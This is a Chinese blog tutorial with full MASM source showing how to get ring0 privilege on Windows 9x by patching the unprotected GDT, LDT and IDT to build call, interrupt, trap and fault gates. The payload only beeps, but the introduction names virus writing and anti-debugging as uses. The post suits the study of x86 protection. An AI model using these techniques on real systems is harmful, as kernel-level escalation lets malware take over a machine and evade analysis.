欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

闲来翻译改写灌水:Ring0权限的取得(part1:9X) (11千字)

闲来翻译改写灌水:Ring0权限的取得(part1:9X) (11千字)

comment  $/*
                Ring0权限的取得(part1:9X)
                               
                                翻译改写: Hume/冷雨飘心
                                原文
windows运行在保护模式,保护模式将指令执行分为3个特权级,即众所周知的ring0
~ring3,ring0意味着更多的权利,可以直接执行诸如访问端口等操作,通常一般应用
程序运行于ring3,这没有什么不好,很好的限制了那些刚弄懂Turbo C的小孩搞破坏,
然而当我们需要ring0的时候,比如跟踪,反跟踪,写病毒?麻烦就来了.进入ring0一般
要写VxD或WDM驱动,然而,这对一般人来说并不那么简单,其实由于9X未对IDT,GDT,
LDT加以保护,可以利用这一点漏洞来进入ring0,这是一点入门介绍,其实,ring0也并
不难,下面就是根据Super/29A的文章用Masm改写的例子,改进了一点并加了点注释,
希望对你能有所启发.
以前曾写过用SEH进入ring0的例子.利用seh进入ring0是比较简单的.下面假设你对
保护模式有所了解,如果遇到不懂的地方,赶紧翻翻保护模式教程.
NT/2K/Xp下ring0的取得是一个较困难的课题.关于2k下,webcrazy写了一篇C教程,有
时间用ASM改写一下.
虽然9X肯定会被淘汰,但对ring0的不懈追求将是一个永恒的主题.
*/$
.586p
.model flat, stdcall
option casemap :none  ; case sensitive
include hd.h
include mac.h
;;--------------
    .DATA
sztit  db "By Hume,2002",0
Freq  db 08h      ;发声频率
gdtR  df 0
idtR  df 0
ldtR  dw 0        ;the contents of GDTR,IDTR,LDTR
ldtDes dw 0       
      dw 0        ;LDT Limit   
      dd 0        ;LDT Base
Callgt dq 0        ;call gate's sel:off
;;-----------------------------------------
    .CODE
__Start:
    sgdt    fword ptr gdtR
        sidt    fword ptr idtR
        sldt    word ptr  ldtR      ;save them for later use
        ;-----------------------
        ; get the ldt mes
        ;-----------------------
        movzx  esi,ldtR
        add    esi,dword ptr [gdtR+2]
        mov    ax,word  ptr [esi]
        mov    word  ptr [ldtDes],ax
        mov    ax,word  ptr [esi+6]
        and    ax,0fh
        mov    word  ptr [ldtDes+2],ax        ;get ldt Limit
       
        mov    eax,[esi+2]
        and    eax,0ffffffh
        mov    ebx,[esi+4]
        and    ebx,0ff000000h
        add    eax,ebx
        mov    dword ptr [ldtDes+4],eax        ;get ldt Base
        ;-------------------------------------
        ; 这里演示在GDT中寻找空白表项来制造调用门
        ;-------------------------------------
        mov    esi,dword ptr [gdtR+2]
        movzx  eax,word  ptr [gdtR]
        call    Search_XDT
                                                ;esi==gdt Base
        mov    esi,dword ptr [gdtR+2]
        push    offset myring0_prc_callgt
        pop    word  ptr [esi+eax+0]       
        pop    word  ptr [esi+eax+6]        ;Offset
        mov    word  ptr [esi+eax+2],28h
        mov    word  ptr [esi+eax+4],0EC00h  ;sel=28h and attribute ->386 call gate!
        and    dword ptr Callgt,0
       
        mov    word  ptr [Callgt+4],ax
        call    fword ptr [Callgt]            ;Ring0!
        ;--------------------------------------------
        ; 这里演示在Ldt中制造调用门
        ;--------------------------------------------
        invoke    MessageBox,0,CTEXT("Call gate to Ring0!继续?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;继续演示?
        mov    esi,dword ptr [ldtDes+4]
        mov    eax,dword ptr [ldtDes]
        call    Search_XDT                    ;eax返回找到的空白选择子
        mov    esi,dword ptr [ldtDes+4]
        push    offset myring0_prc_callgt
        pop    word  ptr [esi+eax+0]       
        pop    word  ptr [esi+eax+6]        ;Offset
        mov    word  ptr [esi+eax+2],28h
        mov    word  ptr [esi+eax+4],0EC00h  ;sel=28h and attribute ->386 call gate!
        and    dword ptr Callgt,0
        or      al,7h                        ;所以选择子一定要指向LDT
        mov    word  ptr [Callgt+4],ax
        call    fword ptr [Callgt]            ;Ring0!
; *通过中断门进入ring0,像在Dos下一样,我们只要替换中断向量表的地址以指向我们
; *自己的程序就可以了,不过在win下中断向量表变为IDT(中断描述符表),其第0~1保存
; *中断处理程序偏移的低16位,6~7字节保存偏移的高16位,我们必须使描述符具有DPL=3
; *以便在ring3下转入中断程序,而int 01h,03h,04h,05h,30h本来就是DPL=3,我们可
; *以方便地利用之,注意中断处理程序返回用iret
        ;---------------------------
        ; 下面利用int 5进入ring0
        ;---------------------------
        invoke    MessageBox,0,CTEXT("Int gate to Ring0 By Int 5 !继续?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;继续演示?
        mov    esi,dword ptr [idtR+2]
        push    dword ptr [esi+8*5]
        push    dword ptr [esi+8*5+4]        ;保存中断描述符
        push    offset myring0_prc_Intgt
        pop    word  ptr [esi+8*5]
        pop    word  ptr [esi+8*5+6]
        int    5                            ;进入ring0!
        ;int    3                            ;//可选择利用int 3
        ;db    0CCh                        ;//则保存和恢复就改为8*3
        ;为了增强反跟踪效果
        ;当然也可以利用int 1,方法一致不过可能在某些处理器上冲突                                       
        pop    dword ptr [esi+8*5+4]        ;恢复
        pop    dword ptr [esi+8*5+0]
; *当然,上面使用的全部是DPL=3的int如1,3,5等,如果我们准备使用任意int 来达到
; *目的该怎么办?这就需要自己改int descriptor 的属性值,使DPL=3,sel=28h
; *如下面使用int 255
; *__________________________________________
        invoke    MessageBox,0,CTEXT("Int gate to Ring0 By Int X !继续?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;继续演示?
        movzx ebx,word ptr [idtR]  ;会是什么?没有关系
        sub ebx,7
        push dword ptr [esi+ebx+0] ; save IDT entry
        push dword ptr [esi+ebx+4]
        push offset myring0_prc_Intgt
        pop word ptr [esi+ebx+0]
        mov word ptr [esi+ebx+2],28h      ;ring0 Sel
        mov word ptr [esi+ebx+4],0EE00h  ;386中断门,DPL=3
        pop word ptr [esi+ebx+6]
        mov eax,ebx
        shl eax,5
        add eax,90C300CDh
        push eax
        call esp                ; 在堆栈中形成指令 int 5Fh ret直接转入执行!
        pop eax                  ; int调用,酷吧!
        pop dword ptr [esi+ebx+4]; 恢复
        pop dword ptr [esi+ebx+0]
; *
; *还有其他的方法进入ring0,如陷阱门,与中断门基本一致,只不过是让硬件自己产生中断
; *我们则自己置TF=1引发之,注意在中断处理中关闭TF,否则会造成死不断单步,还有故障门,
; *产生故障之后注意cs:eip已经压入堆栈,如果不改指令的话,就得自己修改eip指向安全地址
; *故障门的好处在于不必自己置sel为28h,也不必担心DPL=0,操作系统为我们准备好了一切
; *我们只要替换int处理地址就行了,以下是简单例子
; *__________________________________________
        invoke    MessageBox,0,CTEXT("Trap gate to Ring0 By Int 1!继续?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;继续演示?
        ;---------------------------------
        ; int1 单步陷阱或者int4 除法溢出陷阱
        ; 这里演示int 1,int 4类似
        ; 这个和上面的有不同吗,有!就是int 1
        ; 是由CPU而不是我们显式用int 1指令引发
        ;---------------------------------
        push dword ptr [esi+(8*1)+0]      ; 保存原int 1
        push dword ptr [esi+(8*1)+4] 
        push offset myring0_prc_Trapgt
        pop word ptr [esi+(8*1)+0]
        pop word ptr [esi+(8*1)+6]
        pushfd
        pop eax 
        or ah,1 
        push eax
        popfd          ; TF=1
        nop            ; ring0!
        pop dword ptr [esi+(8*1)+4]; restore IDT entry 
        pop dword ptr [esi+(8*1)+0]
        ;--------------------------------------------
        ; 这里演示故障门,除法错误
        ;--------------------------------------------
        invoke    MessageBox,0,CTEXT("Fault gate to Ring0!继续?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;继续演示?
        push dword ptr [esi+(8*0)+0]  ;                           
        push dword ptr [esi+(8*0)+4]                                             
                                                                                     
        push offset Ring0Code_div                                                 
        pop word ptr [esi+(8*0)+0]                                               
        pop word ptr [esi+(8*0)+6]             
                                                                                     
        xor eax,eax                                                               
        div eax                        ; 除法错误,进入故障门ring0!
;-----------------------------------------
@xit000:
        invoke    ExitProcess,0
;-----------------------------------------
Ring0Code_div proc far                                                       
                                                                             
        pushad                                                                   
        call Beeps                                                                 
        popad                                                                     
                                                                             
        add dword ptr [esp],2        ; 修改Eip,略过除错指令继续执行                         
                                                                             
        iretd                                                                     
                                                                             
Ring0Code_div endp                                                           
myring0_prc_Trapgt    proc    far
        pushad                  ;注意压栈结构为
        mov    ecx,10          ;EIP
ambalance002:                  ;cs
        push    ecx            ;EFLAGS
        call    Beeps
        pop    ecx
        loop    ambalance002
        popad
        and    byte ptr [esp+9],0FEh ;一定要置TF=0,终止
        iretd                  ;注意iretd,不是iret(w)
myring0_prc_Trapgt    endp
myring0_prc_Intgt    proc      far
        pushad
        mov    ecx,10
ambalance001:
        push    ecx
        call    Beeps
        pop    ecx
        loop    ambalance001
        popad
        iretd               
myring0_prc_Intgt    endp
myring0_prc_callgt    proc  far
        pushad
        mov    ecx,10
ambalance:
        push    ecx
        call    Beeps
        pop    ecx
        loop    ambalance
        popad
        retf
myring0_prc_callgt    endp
;-----------------------------------------
Search_XDT proc near      ;entry esi==Base  of Ldt  or GDT
              ;Eax==Limit
    pushad     
    mov ebx,eax   
    mov eax,8        ; skipping null selector
@@1:       
    cmp dword ptr [esi+eax+0],0   
    jnz @@2 
    cmp dword ptr [esi+eax+4],0   
    jz @@3 
@@2:       
    add eax,8       
    cmp eax,ebx       
    jb @@1      ;if we haven't found any free GDT entry,
            ;lets use the last two entries       
    mov  eax,ebx     
    sub  eax,7         
@@3:     
    mov [esp+4*7],eax      ; return off in eax
    popad   
    ret       
Search_XDT endp
;-----------------------------------------
Beeps proc near                ;经典的发声子程序,学dos的时候应该
    pushad                  ;没少用吧...
    mov al,0B6h           
    out 43h,al 
    mov al,[Freq]          ;接口要求,不要多问
    out 42h,al 
    out 42h,al 
    xor byte ptr [Freq],0Ch     ; 换频率
                 ; 以便下次发出不同的音高
    in al,61h
    or al,3 
    out 61h,al 
    mov ecx,1000000h        ;延时
    loop $
    and al,0FCh              ;关声音
    out 61h,al 
    popad
    ret
Beeps endp 
END    __Start
___________________________________________________Over...___________

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功